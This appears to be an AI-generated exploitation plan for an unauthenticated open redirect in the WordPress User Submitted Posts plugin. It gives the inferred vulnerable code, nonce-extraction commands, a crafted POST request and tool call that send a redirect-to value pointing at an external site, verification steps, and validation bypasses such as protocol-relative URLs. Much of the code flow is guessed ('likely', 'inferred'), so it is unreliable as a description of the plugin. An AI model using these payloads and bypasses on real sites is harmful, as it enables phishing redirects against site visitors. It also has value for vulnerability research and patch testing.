Exploitation Research Plan: CVE-2025-68509 (Open Redirect)

1. Vulnerability Summary

The User Submitted Posts plugin (version <= 20251121) contains an unauthenticated open redirect vulnerability. The plugin's post-submission logic allows a user-supplied URL to be used in a redirection call (likely wp_redirect()) without sufficient validation. An attacker can craft a request that redirects a victim to an arbitrary external site after interacting with a page containing the plugin's form.

2. Attack Vector Analysis

• Endpoint: Any frontend page where the [user-submitted-posts] shortcode is present.
• Method: POST (typically) or GET (if the handler uses $_REQUEST).
• Vulnerable Parameter: redirect-to (inferred from plugin history and settings).
• Trigger Parameter: usp-submit (identifies the submission action).
• Authentication: Not required (unauthenticated).
• Preconditions: The [user-submitted-posts] shortcode must be active on a public page.

3. Code Flow

1. Entry Point: The plugin registers an init or wp_loaded hook (likely in library/core-functions.php) to handle form submissions.
2. Trigger: The handler checks for the presence of the usp-submit parameter in the request.
3. Data Retrieval: The handler retrieves various user-submitted-* fields. It also retrieves the redirect-to parameter from $_POST or $_REQUEST.
4. Processing: The plugin attempts to process the post submission (e.g., usp_create_post()).
5. Sink: After processing (even if some validation fails, depending on the code structure), the plugin calls:

   $redirect = $_POST['redirect-to'];
   wp_redirect($redirect);
   exit;
   

6. Vulnerability: Because wp_redirect() is used instead of wp_safe_redirect(), and the $redirect variable is not validated against a whitelist or the local site domain, the browser is redirected to the attacker-supplied URL.

4. Nonce Acquisition Strategy

User Submitted Posts is designed for guest submissions and often does not strictly enforce nonces for unauthenticated users, or it uses a specific nonce field that is rendered within the form.

1. Identify the Form Page: Locate a page containing the [user-submitted-posts] shortcode.
2. Create a Test Page:

   wp post create --post_type=page --post_title="Submit Post" --post_status=publish --post_content='[user-submitted-posts]'
   

3. Navigate and Extract:
   • Navigate to the newly created page.
   • Check for a hidden field named usp-nonce or a localized JS variable.
   • Browser Eval Command:

     // Check for hidden input
     browser_eval("document.querySelector('input[name=\"usp-nonce\"]')?.value")
     // Check for localized script data (if applicable)
     browser_eval("window.usp_vars?.nonce")
     

   • Note: If no nonce is found or the field is empty, the plugin may be operating in a mode where nonces are not required for guest submissions.

5. Exploitation Strategy

We will simulate a form submission that includes the malicious redirect URL.

HTTP Request (POST)

• URL: http://localhost:8080/submit-post/ (or the URL of the page with the shortcode)
• Headers: Content-Type: application/x-www-form-urlencoded
• Body Parameters:
  • usp-submit: 1 (or "Submit Post")
  • redirect-to: https://google.com (The malicious target)
  • user-submitted-title: Exploit Test
  • user-submitted-content: Exploit Content
  • usp-nonce: [EXTRACTED_NONCE] (if required)

Expected Response

The server should return a 302 Found status with a Location header pointing to https://google.com.

6. Test Data Setup

1. Plugin Installation: Ensure user-submitted-posts version 20251121 is installed and activated.
2. Shortcode Placement:

   wp post create --post_type=page --post_title="Vulnerable Page" --post_status=publish --post_content='[user-submitted-posts]'
   

3. Plugin Settings (Optional): By default, the plugin allows guest submissions. Ensure "Post Status" is set to "Draft" or "Pending" to avoid cluttering the site, though this does not affect the redirect.

7. Expected Results

• Primary Indicator: The HTTP response code is 302.
• Secondary Indicator: The Location header in the response is exactly https://google.com.
• Browser Behavior: If performed in a browser, the user would be navigated away from the WordPress site to Google.

8. Verification Steps

1. Check Redirection: Use the http_request tool to send the payload and inspect the headers.

   {
     "action": "http_request",
     "method": "POST",
     "url": "http://localhost:8080/vulnerable-page/",
     "data": "usp-submit=1&redirect-to=https://google.com&user-submitted-title=test&user-submitted-content=test"
   }
   

2. Confirm Lack of Validation: Verify that the redirection works for domains outside the WordPress instance (e.g., google.com, attacker.com).
3. Database check (Post-Exploit): Verify if a post was actually created (optional, as the redirect may occur regardless).

   wp post list --post_title="Exploit Test"
   

9. Alternative Approaches

• GET-based Redirect: Try the same parameters in a query string (?usp-submit=1&redirect-to=https://google.com) to see if the handler processes $_GET or $_REQUEST.
• Insufficient Validation: If the plugin attempts some validation (e.g., checking for "http"), try bypasses like //google.com (protocol-relative URL) or https:google.com.
• Alternative Parameter Names: If redirect-to fails, inspect the form's HTML for other hidden inputs like usp-redirect-to or url. (Quote from readme.txt: "Redirect user to any URL or current page after submission").